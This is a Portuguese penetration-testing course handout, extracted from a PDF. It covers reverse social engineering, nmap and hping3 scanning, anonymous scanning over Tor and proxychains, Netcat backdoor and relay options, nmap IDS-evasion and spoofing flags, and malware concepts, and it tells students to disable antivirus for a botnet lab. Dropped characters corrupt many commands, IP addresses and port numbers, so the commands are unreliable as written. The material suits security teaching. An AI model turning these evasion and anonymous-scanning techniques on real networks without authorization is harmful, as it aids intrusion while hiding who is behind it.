Os mtodos bsicos de persuaso so: personicao, insinuao, conformidade, difuso de responsabilidade e a velha amizade. Independente do mtodo usado, o objetivo principal convencer a pessoa que dar a informao, de que o engenheiro social de fato uma pessoa a quem ela pode conar as informaes prestadas. Outro fator importante nunca pedir muita informao de uma s vez e sim perguntar aos poucos e para pessoas diferentes, a m de manter a aparncia de uma relao confortvel.

7.4 Engenharia Social Reversa


Um mtodo mais avanado de conseguir informaes ilcitas com a engenharia social reversa. Isto ocorre quando o atacante cria uma personalidade que aparece numa posio de autoridade, de modo que todos os usurios lhe pediro informao. Se pesquisados, planejados e bem executados, os ataques de engenharia social reversa permitem extrair dos funcionrios informaes muito valiosas; entretanto, isto requer muita preparao e pesquisa. Os trs mtodos de ataques de engenharia social reversa so, sabotagem, propaganda e ajuda. Na sabotagem, o hacker causa problemas na rede, ento divulga que possui a soluo para este, e se prope a solucion-lo. Na expectativa de ver a falha corrigida, os funcionrios passam para o hacker todas as informaes por ele solicitadas. Aps atingir o seu objetivo, o hacker elimina a falha e a rede volta funcionar normalmente. Resolvido o problema os funcionrios sentem-se satisfeitos e jamais desconaro que foram alvos de um hacker. A melhor referncia que atualmente temos sobre engenharia social, o site do projeto Social Engineering Framework. Para maiores informaes acessem:

http://www.social-engineer.org/framework/Social_Engineering_Framework

PenTest - Segurana Hacker

Pgina 107

8 Varreduras ativas, passivas e furtivas de rede


8.1 Varreduras Internet Control Messages Protocol (ICMP)
O protocolo IP (Internet Protocol) conhecido como protocolo do melhor esforo, devido a sua caracterstica de sempre procurar o melhor caminho at uma determinada rede ou host. O IP possui um el escudeiro, um chamado ICMP (Internet Control Messages Protocol) e, de acordo com a RFC792 o ICMP empregado quando: Quando um pacote no consegue chegar ao destino Quando um roteador no consegue encaminhar um pacote Quando um roteador descobre uma rota mais curta para um desti Ferramentas como o ping e o traceroute utilizam o protocolo de controle ICMP para determinar se um host est vivo na rede e para mapear os roteadores at um destino, por exemplo. O ping um ICMP echo request (tipo 8) e o pong um ICMP echo reply (tipo 0). H uma innidade de icmp types, que podem ser consultados no site da iana. Sabendo dessa particularidade, podemos utilizar uma ferramenta simples chamada fping, que pode facilmente detectar todos os hosts ativos numa rede, desde que os mesmos respondam icmp.

# fping -c1 -g 192.168.2

. /24 2 > / dev / null | grep alive

O nmap tambm pode ser usado com a opo sP

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

# nmap -sP 192.168.2

. /24

No caso do nmap, se utilizarmos a opo Ping Scan (-sP), observamos que mesmo se uma mquina estiver bloqueando pacotes ICMP, ele poder list-la como ativa, pois ele tambm envia pacotes TCP para algumas portas, como por exemplo a porta 80. Assim, conseguimos a lista de todos os computadores que respondem ping na rede.

8.2 Varreduras TCP


Enquanto que as varreduras ICMP nos informam a quantidade de hosts ativos em uma rede, as varreduras TCP nos informam o nmero de portas abertas em um determinado computador. Para descobrir se uma porta esta aberta ou fechada, o programa chamado port scanner manipula uma caracterstica do protocolo TCP, chamada Three Way Handshake, descrita na RFC 793.

De acordo com a imagem, o cliente, que deseja conectar-se a um servidor, envia um pedido de conexo, ou seja, no cabealho do datagrama TCP contm uma ag do

PenTest - Segurana Hacker

Pgina 109

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

tipo SYN. O servidor, que est apto a atender novas requisies responde ento com um datagrama TCP contendo uma ag do tipo SYN+ ACK. O cliente ento responde com um datagrama contendo um ACK, e ento estabelecida a conexo. De acordo com a RFC 793, que dene os parmetros para o protocolo TCP, toda porta aberta deve responder com a ag SYN+ACK, e toda porta fechada deve responder com uma ag RST. Para identicar este comportamento, vamos utilizar a ferramenta linha de comando hping3. Vericando o comportamento de um servidor com a porta 80 aberta.

# hping3 -- syn -c 1 -p 8 192.168. .173 HPING 192.168. .173 ( eth 192.168. .173) : S set , 4 bytes 3 len =46 ip =192.168. .173 ttl =128 DF id =1 67 sport =8 win =6424 rtt =4.3 ms
1 2

headers +

data

flags = SA seq =

O mesmo comando agora em uma porta fechada.

# hping3 -- syn -c 1 -p 81 192.168. .173 HPING 192.168. .173 ( eth 192.168. .173) : S set , 4 headers + bytes 3 len =46 ip =192.168. .173 ttl =128 id =1 69 sport =81 flags = RA seq = = rtt =1. ms
1 2

data win

Perceba que as respostas so, SA, que representa um SYN + ACK, e um RA, que representa um Reset + ACK, a resposta padro para portas fechadas.

8.3 NMAP
Nmap pode ser considerada uma das ferramentas mais completas para realizar varreduras em redes, pois possui um nmero imenso de opes, permitindo explorar-

PenTest - Segurana Hacker

Pgina 110

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

mos quase todas as possibilidades de varreduras possveis. Essa ferramenta possui, inclusive, opes que permitem burlar sistemas de proteo, como IDS/IPS e Firewall, cujas regras poderiam bloquear ou detectar varreduras no permitidas. Sintaxe: nmap [Scan Type(s)] [Options] target specication

8.4 Mtodos de Varredura


8.4.1 -sP
Ping scan: Algumas vezes necessrio saber se um determinado host ou rede est no ar. Nmap pode enviar pacotes ICMP echo request para vericar se determinado host ou rede est ativa. Hoje em dia, existem muitos ltros que rejeitam os pacotes ICMP echo request, ento envia um pacote TCP ACK para a porta 80 (default) e caso receba RST o alvo est ativo. A terceira tcnica envia um pacote SYN e espera um RST ou SYN-ACK.

8.4.2 -sV
Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos mtodos, o nmap ir determinar qual o servio est rodando atualmente. O arquivo nmap-service-probes utilizado para determinar tipos de protocolos, nome da aplicao, nmero da verso e outros detalhes.

8.4.3 -sS
TCP SYN scan: Tcnica tambm conhecida como half-open, pois no abre uma conexo TCP completa. enviado um pacote SYN, como se ele fosse uma conexo real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta est aberta, enquanto que um RST-ACK como resposta indica que a porta est fechada. A vantagem dessa abordagem que poucos iro detectar esse scanning de portas.

PenTest - Segurana Hacker

Pgina 111

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

8.4.4 -sT
TCP connect() scan: a tcnica mais bsica de TCP scanning. utilizada a chamada de sistema (system call) connect() que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta connect(). um dos scan mais rpidos, porm fcil de ser detectado.

8.4.5 -sU
UDP scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um host. A tcnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebida uma mensagem ICMP port unreachable ento a porta est fechada, seno a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugesto da RFC e com isso a varredura de mquinas Windows muito rpida.

8.4.6 -sF, -sX, -sN


Stealth FIN, Xmas Tree ou Null: Alguns rewalls e ltros de pacotes detectam pacotes SYNs em portas restritas, ento necessrio utilizar mtodos avanados para atravessar esses softwares. FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. As ags FIN, URG e PUSH so utilizados nos pacotes FIN que enviado ao alvo. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. Nenhuma ag ligada no pacote FIN. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973)

PenTest - Segurana Hacker

Pgina 112

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
Esse parmetro seta a prioridade de varredura do Nmap: Paranoid (-T0) muito lento na esperana de prevenir a deteco pelo sistema IDS. Este serializa todos os scans (scanning no paralelo) e geralmente espera no mnimo 5 minutos entre o envio de pacotes. Sneaky (-T1) similar ao Paranoid, exceto que somente espera 15 segundos entre o envio de pacotes. Polite (-T2) tem o signicado para facilitar a carga na rede e reduzir as chances de travar a mquina. Ele serializa os testes e espera no mnimo 0.4 segundos entre eles. Normal (-T3) o comportamento default do Nmap, o qual tenta executar to rpido quanto possvel sem sobrecarregar a rede ou perder hosts/portas. Aggressive(-T4) esse modo adiciona um timeout de 5 minutos por host e nunca espera mais que 1.25 segundos para testar as respostas. Insane (-T5) somente adequando para redes muito rpidas ou onde voc no se importa em perder algumas informaes. Nesta opo o timeout dos hosts acontece em 75 segundos e espera somente 0.3 segundos por teste individual.

Opes Interessantes: -p Utilizado para especicar portas -O Mostra a verso do S.O -P0 Desativa ICMP tipo 8 e o TCP ACK na porta 80

8.5 Anonymizer
Os programas de anonymizer funcionam basicamente para ocultar seus dados enquanto navega na internet. Normalmente a aplicao utilizada para isso um proxy, que aps congurado, permite que seu IP seja mascarado, fornecendo o dele como IP real.

PenTest - Segurana Hacker

Pgina 113

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

Com isso, possvel proteger o contedo de e-mails, textos de softwares de mensagens instantneas, IRC e outros aplicativos que usam o protocolo TCP. Uma boa ferramenta para utilizarmos mantendo nossos dados de navegao protegidos, o TOR The Onion Router. O programa foi desenvolvido pelo Laboratrio Central da Marinha para Segurana de Computadores, com a ajuda da Darpa (www.darpa.mil), a agncia criada no auge da guerra fria com o objetivo de transformar os Estados Unidos em uma superpotncia tecnolgica. Para quem no se lembra, foi a Darpa (na poca sem o D) quem coordenou os estudos para a construo de uma rede descentralizada de computadores, capaz de resistir a qualquer ataque localizado. Foi assim que nasceu a Arpanet, o embrio do que hoje chamamos internet. O Tor andava meio esquecido, at que a Electronic Frontier Foundation, uma entidade civil que se destaca pelo vigor com que combate nos tribunais os abusos governamentais contra os direitos individuais, decidiu apoiar politicamente o projeto e contribuir nanceiramente para que ele cresa, que forte e consiga deixar cada vez mais gente invisvel. Outro programa, que trabalha junto com o TOR, o privoxy, que evita o envio de qualquer dado enviado pelo navegado alcance a intranet, bloqueando-os no caminho. Isso evita que atravs desses dados, qualquer informao do internauta seja capturada, e sua localizao descoberta. TOR The Onion Router

http://www.torproject.org/

http://www.privoxy.org

8.5.1 Instalando e testando o TOR no BackTrack


Editando o sources

PenTest - Segurana Hacker

Pgina 114

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

1 2 3 4 5 6

# vim / etc / apt / sources . list deb http :// deb . torproject . org / torproject . org lucid main deb - src http :// deb . torproject . org / torproject . org lucid main # gpg -- keyserver keys . gnupg . net -- recv 886 DDD89 # gpg -- export A3C4F F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt - key add -

Atualizando o pacote

# apt - get update

Instalando os pacotes

# apt - get install tor tor - geoipdb privoxy

Congurando privoxy

1 2 3

# vim / etc / privoxy / config forward - socks4a / 127. . .1:9 5 .

Testando

1 2 3 4

# tor # nmap localhost # netstat - ntpl | grep privoxy # netstat - ntpl | grep tor

Addon do Firefox

# wget -c https :// www . torproject . org / dist / torbutton / torbutton - current . xpi

PenTest - Segurana Hacker

Pgina 115

Linux Force www.linuxforce.com.br

Varreduras ativas, passivas e furtivas de rede

No browser faa: le:///root/torbutton-current.xpi Testando o navegador

https://torcheck.xenobite.eu/

Scaneando redes de forma anonima

1 2 3

# proxychains nmap - sT - PN -n - sV -p21 ,25 ,8 # torify nmap - sT - PN -n - sV -p21 ,25 ,8

1 . .2.15

1 . .2.1

PenTest - Segurana Hacker

Pgina 116

9 Enumerao de informaes e servios


9.1 Enumerao
As tcnicas de enumerao so utilizadas como um complemento s fases de ngerprint e varredura. O objetivo descobrir servios e verses que esto sendo executados no sistema alvo, facilitando a posterior pesquisa de vulnerabilidades e exploits especcos. Quanto mais informaes tivermos sobre nosso alvo, mais fcil ser para encontrarmos vulnerabilidades e melhorarmos nossos vetores de ataque. Sabendo os servios rodando e as verses dos mesmos, torna-se possvel encontrarmos os exploits corretos e as vulnerabilidades que podero ser exploradas. Alm disso, na fase de enumerao, mapeameos toda a rede do alvo, descobrindo os pontos falhos e onde podemos explorar para conseguir acesso a informaes estratgicas.

9.2 Aquisio de banners


Falaremos agora a respeito da captura de informaes sobre os servios que esto rodando em uma mquina-alvo por meio da leitura de seus respectivos banners que so aquelas mensagens que contm informaes como o tipo do servio, sua verso, etc. Essas informaes visam estabelecer um levantamento dos servios utilizados, onde o foco de um possvel ataque pode estar voltado para a explorao de vulnerabilidades desses servios.

Linux Force www.linuxforce.com.br

Enumerao de informaes e servios

9.2.1 Tcnicas clssicas


Sem utilizar ferramentas especcas, possvel conseguir informaes dos servios que esto sendo executados em determinada porta. Abaixo veremos dois exemplos, utilizando ftp e telnet. Obtendo banner de um servidor ftp:

# ftp 192.168.2

.254

Obtendo banner de um servidor de e-mail:

1 2 3 4 5 6 7 8

# telnet 192.168.2 .2 5 25 HELO [ dom nio ] MAIL FROM : [ endere o_origem ] RCPT TO : [ endere o_destino ] DATA ( ... msg ... ) . quit

Com o comando telnet, podemos tentar conectar em todas as portas existentes para vericar o que est sendo executado. Obviamente que esse um mtodo lento e impossvel de ser executado nas mais de 65000 portas existentes, mas interessante conhec-lo, e ainda evita a deteco por IDS ou rewall.

9.2.2 Ferramentas
nmap Realiza varredura de rede, buscando hosts ativos, portas abertas e servios sendo executados. xprobe2 Analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a verso do mesmo. amap Analiza banners de servios que esto sendo executados, e informa o nome e verso.

PenTest - Segurana Hacker

Pgina 118

Linux Force www.linuxforce.com.br

Enumerao de informaes e servios

autoscan Faz varredura na rede e informa hosts ativos, portas abertas e servios sendo executados. Funciona atravs de uma interface grca. maltego Faz varredura de redes, servios, protocolos, domnios e vrias outras opes, informando de forma grca a relao entres os hosts ativos. lanmap Varre toda a rede e captura pacotes, criando ao longo de sua execuo um arquivo .PNG com o mapa da rede, informando gracamente a relao das mquinas encontradas. cheops Varre toda a rede em busca de hosts ativos, informando gracamente, atravs de um mapa, os hosts ativos, S.O. sendo executado, portas abertas, servios sendo executados. Utiliza o nmap por debaixo de sua execuo, para realizar as varreduras. nessus Atravs de plugins especcos, varre um determinado alvo, informando as vulnerabilidades encontradas, inclusive exibindo o link de onde podemos encontrar mais informaes sobre determinada vulnerabilidade e seu exploit.

PenTest - Segurana Hacker

Pgina 119

10 Trojans, Backdoors, Vrus, Rootkits e Worms


10.1 Backdoor
As backdoors so programas destinados a fornecer um meio de acesso remoto ao hacker a uma mquina que provavelmente teve sua segurana comprometida por ele anteriormente. Normalmente, esses programas abrem uma porta no computador atacado, e nessa porta tem o servidor do hacker escutando, apenas esperando o hacker se conectar nela para dar total acesso ao computador. Mas, como esse mtodo cou fcil de ser detectado, pois com uma simples varredura por portas abertas na mquina entregaria o hacker, novas tcnicas mais avanadas tem surgido, tais como backdoors que no abrem portas, mas sim cam ouvindo portas j abertas na mquina, e ento quando detectam um tipo especco de dado previamente estabelecido chegando nessa porta, a backdoor j sabe que o hacker que est querendo se conectar ao alvo e ento, lana uma conexo para o computador do hacker. Esse tipo de backdoor conhecido por Non-listen Backdoor. Tambm podemos ter backdoors implantadas propositalmente em programas pelos programadores. Existem diversos casos onde foram descobertas maneiras de acessar um programa atravs de um login ou comando que no estava documentado.

10.2 Cavalo de Tria ou Trojan Horse


Segundo os historiadores, os gregos tentaram invadir Tria e sempre eram derrotados pelos troianos. Ento, os gregos tiveram uma brilhante idia de criar um cavalo de madeira onde eles iriam colocar diversos soldados e presentear os troianos como reconhecimento da potencial defesa e declarao de paz. Com isso, os gregos conseguiram chegar ao corao de Tria sem passar pelos muros e soldados troianos.

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

Ento, enquanto os troianos comemoravam a vitria e descansavam tranquilamente, os soldados gregos saram do cavalo e atacaram Tria, que acabou sendo conquistada pelos gregos. Essa histria cou conhecida como Cavalo de Tria. Ento, depois de vrios sculos desse acontecimento, acabamos descobrindo que esse truque foi ressuscitado. Os cavalos de tria dos computadores so programas que aparentemente funcionam normais, mas na verdade eles acabam realizando outra tarefa sem que o usurio tome conhecimento. Um exemplo disso quando recebemos um email contendo um jogo anexado. Quando rodamos o jogo, conseguimos jogar normalmente, mas na verdade, alem do jogo, pode estar sendo executados outros programas em conjuntos para dar acesso ao seu computador a um possvel atacante quando voc se conectar internet ou ento, voc pode ter informaes roubadas e enviadas por email para o atacante ou onde for a imaginao do hacker. Um exemplo de um cavalo de tria quando um hacker altera um arquivo do computador para se esconder ou esconder os seus arquivos dentro da maquina invadida. Isso pode ser feito alterando o programa responsvel por listar os arquivos dentro de um diretrio ou ento alterando o programa responsvel por mostrar todas as conexes ativas ao computador para o administrador. Um hacker, quando ataca uma mquina, provavelmente ele ir instalar um conjunto de ferramentas formadas por trojans e backdoor, para se esconder e garantir o acesso futuro a maquina que foi invadida. Esse conjunto de ferramenta conhecido por Rootkit.

10.3 Rootkits
Rootkit um conjunto de ferramentas que tem como objetivo ofuscar determinadas ocorrncias do sistema em que se encontra. Normalmente um rootkit constitudo por trojans e backdoors. Temos dois principais tipos de rootkits: User-land Os binrios originais so alterados por binrios modicados, alterando o uxo normal do programa;

PenTest - Segurana Hacker

Pgina 121

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

Primeiramente executado o cdigo do rootkit e s ento realizada a funcionalidade real do programa. Kernel-land Adiciona cdigo malicioso no kernel atravs de LKM (Loadable Kernel Module), drivers, insero de cdigo direto na memria, hook de syscall table; Se bem implementado, praticamente impossvel de ser detectado com o SO em execuo, precisando fazer anlise da imagem. Algumas das funcionalidades do Kernel-land rootkit: Hide Itself: O mdulo se oculta, no aparecendo na listagem de mdulos, tornando assim impossvel de descarreg-lo; File Hider: Todos os arquivos que possuir uma pr-determinada palavra em seu nome sero ocultos da visualizao; Process Hider: Todos os processos que possuir uma pr-determinada palavra em seu nome sero ocultos da visualizao; Socket Backdoor: Se um pacote com um tamanho predenido contendo uma string especicada no rootkit for recebido, ser iniciar um programa, normalmente uma backdoor.

10.4 Vrus e worms


Vrus e worms podem ser usados para infectar e modicar um sistema a m de permitir que um atacante ganhe acesso ao mesmo. Muitos vrus e worms carregam trojans e backdoors. Um vrus e um worm so softwares maliciosos (malware). A principal diferena entre o vrus e o worm que o primeiro, precisa ser executado para infectar o sistema. O segundo se espalha automaticamente, tendo um poder de infeco muito maior. Os vrus, para comear a trabalhar, precisam ser ativados, ou seja, voc precisa executar o programa infectado. Somente aps isso, ele comear a infectar outros arquivos. Se algum arquivo infectado for levado e executado em outro computador, ento o vrus comear a atacar os arquivos dos outros computadores tambm.

PenTest - Segurana Hacker

Pgina 122

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

Tanto os vrus quanto os cavalos de tria no conseguem infectar um computador externo sem a ajuda de uma pessoa. O worm ou verme um programa que pode infectar tanto uma mquina local quando uma mquina externa. Normalmente, os worms exploram falhas de segurana em outros programas para se propagarem, como o caso do worm BLASTER, que cou mundialmente conhecido aps infectar milhares de computadores e poucas horas. Esse worm explorava um problema de programao em um servio conhecido por rpc-dcom, que vem ativado por padro nos sistemas operacionais Windows 2000 e Windows XP.

10.5 Bots e Botnets


De modo similar ao Worm, o Bot um programa capaz de se propagar automaticamente, explorando vulnerabilidades existentes ou falhas na congurao de softwares instalados em um computador. Adicionalmente ao Worm, dispe de mecanismos de comunicao com o invasor, permitindo que o Bot seja controlado remotamente.

10.5.1 Botnets
Botnets so redes formadas por computadores infectados com Bots. Estas redes podem ser compostas por centenas ou milhares de computadores. Um invasor que tenha controle sobre uma Botnet pode utiliz-la para aumentar a potncia de seus ataques, por exemplo, para enviar centenas de milhares de e-mails de Phishing ou Spam, desferir ataques de negao de servio, etc.

PenTest - Segurana Hacker

Pgina 123

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

10.5.2 Como o invasor se comunica com o Bot?


A comunicao entre o invasor e o computador infectado pelo bot pode ocorrer via canais de IRC, servidores Web e redes do tipo P2P, entre outros meios. Ao se comunicar, o invasor pode enviar instrues para que aes maliciosas sejam executadas, como desferir ataques, furtar dados do computador infectado e enviar spam. Um computador infectado por um bot costuma ser chamado de zumbi (zombie computer), pois pode ser controlado remotamente, sem o conhecimento do seu dono. Tambm pode ser chamado de spam zombie quando o bot instalado o e transforma em um servidor de e-mails e o utiliza para o envio de spam.

10.5.3 Esquema simplicado de uma botnet


O esquema simplicado apresentado a seguir exemplica o funcionamento bsico de uma botnet: 1. Um atacante propaga um tipo especico de bot na esperanca de infectar e conseguir a maior quantidade possivel de zumbis; 2. Os zumbis cam ento disposio do atacante, agora seu controlador, a espera dos comandos a serem executados; 3. Quando o controlador deseja que uma ao seja realizada, ele envia aos zumbis os comandos a serem executados, usando, por exemplo, redes do tipo P2P ou servidores centralizados; 4. Os zumbis executam ento os comandos recebidos, durante o periodo predeterminado pelo controlador; 5. Quando a ao se encerra, os zumbis voltam a car a espera dos prximos comandos a serem executados.

Vamos reproduzir em sala de aula, em ambiente controlado uma botnet, ento se prepare, se voc usa algum antivirus, ele pode detectar a ameaa, ento durante esta aula desabilite temporiariamente seu antivirus.

PenTest - Segurana Hacker

Pgina 124

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

10.6 Netcat
Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force attacks. O nome netcat vem do comando "cat"do Linux/Unix. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP. Possui inmeras funes, dentre as quais: Varredura de portas; Banner grabbing; Criao de backdoor; Tunelamento e etc. Alm de facilitar a vida do administrador de rede, tambm facilita a vida de um invasor, portanto, cuidado! Mate seu processo e remova o binrio sempre aps a utilizao, caso no queira tornar-se a vtima.

10.6.1 Opes do Netcat


-e comando Executa o comando especicado usando como entrada (stdin) os dados recebidos pela rede e enviando os dados de sada (stdout e stderr) para a rede. Essa opo somente estar presente se o nc for compilado com a opo GAPING_SECURITY_HOLE, j que permite que usurios disponibilizem programas para qualquer um conectado a rede; -i Especica o intervalo de tempo no qual as linhas de texto sero enviadas ou recebidas; -l Coloca no netcat em estado de escuta (listening); -L Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de comando caso a conexo feche;

PenTest - Segurana Hacker

Pgina 125

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

-n Fora o netcat a usar apenas endereos de IP numricos, sem fazer consultas a servidores DNS; -o lename Usando para obter um log dos dados de entrada ou sada, em formato hexadecimal; -p Especica a porta a ser usada, sujeito a disponibilidade e a restries de privilgio; -r Faz as portas do portscan serem escolhidas aleatoriamente; -s Especica o endereo IP da interface usada para enviar os pacotes. Pode ser usado para spoong de IPs, bastando apenas congurar uma interface do tipo eth0:0 (usando o ifcong) com o IP desejado; -t Permite usar o nc para criar sesses de telnet por script. Precisa estar compilado com a opo -DTELNET; -u Usar UDP ao invs de TCP; -v Controla o nvel de mensagens mostradas na tela; -w Limita o tempo mximo para que uma conexo seja estabelecida; -z Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo UDP.

10.6.2 Netcat - Utilizao


Transferncia de arquivos: No servidor:

# netcat -l -p 5 5

> file . txt

No cliente:

# cat file . txt | netcat ip_server 5 5

PenTest - Segurana Hacker

Pgina 126

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

Uso como scanner

# nc -vv 127. . .1 22 -25

10.6.3 Encadeando Netcats


Netcat foi desenvolvido para trabalhar com um pipeline, ento naturalmente a sada de uma instncia do Netcat pode alimentar a entrada de outro. Abaixo segue uma maneira de enviar um arquivo de log de um host para outro atravs de um intermedirio:

1 2 3

host3 # nc -l > log . txt host2 # nc -l --sh - exec " ncat host3 " host1 # nc -- send - only host2 < log . txt

O Netcat em modo de escuta no host2, ao receber uma conexo cria um "novo netcat"para falar com o host3 e conecta a entrada e sada do programa em execuo no host1 e host3 encadeando-os. Esse mesmo "macete"pode ser utilizado em um host local tambm. O exemplo a seguir direciona a porta 8080 para o servidor web exemplo.org.br:

# nc -l localhost 8 8

--sh - exec " ncat exemplo . org . br 8

10.7 Keylogger
Keylogger so programas utilizados para gravar tudo aquilo que o usurio digita no teclado. Alguns, mais avanados, armazenam screenshots da tela ou at mesmo a rea ao redor do ponteiro do mouse onde ocorre um click. Exemplos de Keyloggers: Ardamax Windows

PenTest - Segurana Hacker

Pgina 127

Linux Force www.linuxforce.com.br

Trojans, Backdoors, Vrus, Rootkits e Worms

Pykeylogger Linux - http://sourceforge.net/projects/pykeylogger/les/ Alm dos keyloggers lgicos, temos os keyloggers fsicos, que podem ser comprados em lojas virtuais por poucos dlares. Esses keyloggers fsicos se parecem com adaptadores de teclados PS2/USB, sendo instalados entre o cabo do teclado e a entrada PS2 da CPU, s que eles armazenam dentro de uma memria ash tudo o que digitado no teclado grampeado. Obviamente, que a instalao de um dispositivo desses, seja lgico ou fsico, necessita do uso de recursos de engenharia social para que o mesmo seja instalado na mquina do alvo. E no caso do keylogger fsico, o atacante precisa ter acesso fsico mquina, tanto para instalar, quanto para pegar de volta o dispositivo.

PenTest - Segurana Hacker

Pgina 128

11 Ignorando Protees
11.1 Evaso de Firewall/IDS com Nmap
As tcnicas de evaso de rewall e IDS so utilizadas para evitar que qualquer tipo de aplicao que contenha ltros e controles de acesso, possam detectar as aes do atacante. Tanto ferramentas especcas quanto parmetros de ferramentas cujo objetivo de utilizao no especicamente esse, podem ser usados. Abaixo vamos ver alguns parmetros do Nmap, que podem ser utilizados para burlar protees, e do Firewall Tester (FTester), que utilizado para testar regras de rewall pesquisando como est o nvel de bloqueio e deteco de pacotes maliciosos. -f fragmenta pacotes, incluindo pacotes IP. A idia dividir os cabealhos TCP em vrios pacotes, dicultando a deteco por ltros de pacotes, IDS e etc. -D <decoy1>[,<decoy2>][,ME][,...] realiza uma varredura utilizando iscas. Faz parecer que vrios hosts da rede, juntamente com seu IP, esto varrendo o alvo. Desse modo, o IDS pode reportar 5-10 varreduras em um nico IP, mas no saber denir quais so iscas inocentes e qual IP est realmente realizando a varredura. -S <IP_Address> realiza um IP spoong, fazendo com que um IDS report uma varredura sendo realizada a partir de um outro IP, que no o seu, mas que denido por voc. source-port <portnumber> realiza um port spoong, permitindo que seja denido no pacote de qual porta ele teoricamente foi enviado. Essa tcnica explora as portas abertas no alvo para realizar varreduras que o rewall permitir por conta de suas regras. As portas mais utilizadas so DNS (53) e FTP (21). randomize-hosts ordena de forma aleatria os hosts alvos de uma varredura. Isso pode tornar a varredura menos bvia para sistemas de monitoramento de rede, especialmente se combinado com opes de "slow timing". spoof-mac <MAC address> faz um MAC spoong, atribuindo um endereo MAC,

Linux Force www.linuxforce.com.br

Ignorando Protees

denido pelo atacante, para todos os frames ethernet enviados.

11.2 Firewall Tester


Firewall Tester (FTester) uma ferramenta criada para testar regras de ltragem rewalls e as capacidades Intrusion Detection System (IDS). A ferramenta consiste em 2 scripts perl, um injetor de pacotes (ftest) e um sniffer passivo (listening sniffer ftestd).

11.2.1 Caractersticas:
rewall testing IDS testing Simulao de conexes reais TCP para inspecionar rewalls e IDS. Fragmentao de IP / Fragmentao de TCP Tcnicas de evaso de IDS

Download - http://dev.inversepath.com/ftester Documentao - http://dev.inversepath.com/ftester/ftester.html

11.2.2 Utilizao:

1 2

# ./ ftest # ./ ftestd

PenTest - Segurana Hacker

Pgina 130

Linux Force www.linuxforce.com.br

Ignorando Protees

11.2.3 Sintaxe:
Para pacotes TCP e UDP: IP_origem:porta_origem:IP_destino:porta_destino:Flags:Protocolo:Tipo_servio Para pacotes ICMP: IP_origem:porta_origem:IP_destino:porta_destino:Flags:ICMP:tipo_icmp:cdigo_icmp

11.3 Detectando Honeypots


Dicilmente uma organizao ou empresa que esteja contratando prossionais para realizar um pentest, possui um honeypot em sua rede. Mas ainda assim existe essa possibilidade... Existem vrios tipos de honeypots, mas podemos dividi-los, basicamente, em dois grandes grupos: Honeypot de baixa interatividade Honeypot de alta interatividade O honeypots de baixa interatividade so facilmente detectveis, bastando utilizar boas ferramentas de varredura, descoberta de vulnerabilidades e explorao, pois por sua limitao de respostas e interao com o atacante, pelas respostas transmitidas ao atacante, esse ltimo conseguir perceber que o alvo no uma mquina real. J com os honeypots de alta interatividade, a coisa muda de gura, pois suas respostas so mais consistentes e o comportamento bem prximo de um servidor real, caso esteja bem congurado. Com os HP de alta interatividade, apenas a experincia e o conhecimento dessas armadilhas podem permitir ao pen-tester descobrir e detectar essas armadilhas para invasores. No entanto, no aconselho perder muito tempo tentando detectar honeypots e denir se um servidor que est tentando explorar um HP ou no. Deixe que isso seja consequncia de seu trabalho, e no o objetivo principal.

PenTest - Segurana Hacker

Pgina 131

Linux Force www.linuxforce.com.br

Ignorando Protees

Nmap, Nessus e OpenVas so timas ferramentas que podem ser utilizadas na deteco de honeypots.

PenTest - Segurana Hacker

Pgina 132

12 Tecnicas de Forca Bruta


12.1 Brute Force
Uma das mais conhecidas tcnicas de invaso de sistemas , sem dvida, o brute force. O mtodo de funcionamento de um ataque desse tipo muito simples: so geradas vrias tentativas de conexo a partir do nome de um provvel usurio da mquina alvo. A tcnica consiste em gerar vrias combinaes de senhas para esse usurio, na tentativa de adivinhar a senha dele. Tambm podemos alternar o nome do usurio, fazendo brute force de usurio e senha. Para isso, podemos obter um arquivo chamado wordlist, no qual podemos gerar diversas combinaes possveis de senhas para testar com o brute force. Baseados nisso, veremos algumas ferramentas para realizar esse tipo de teste.

12.2 Wordlist
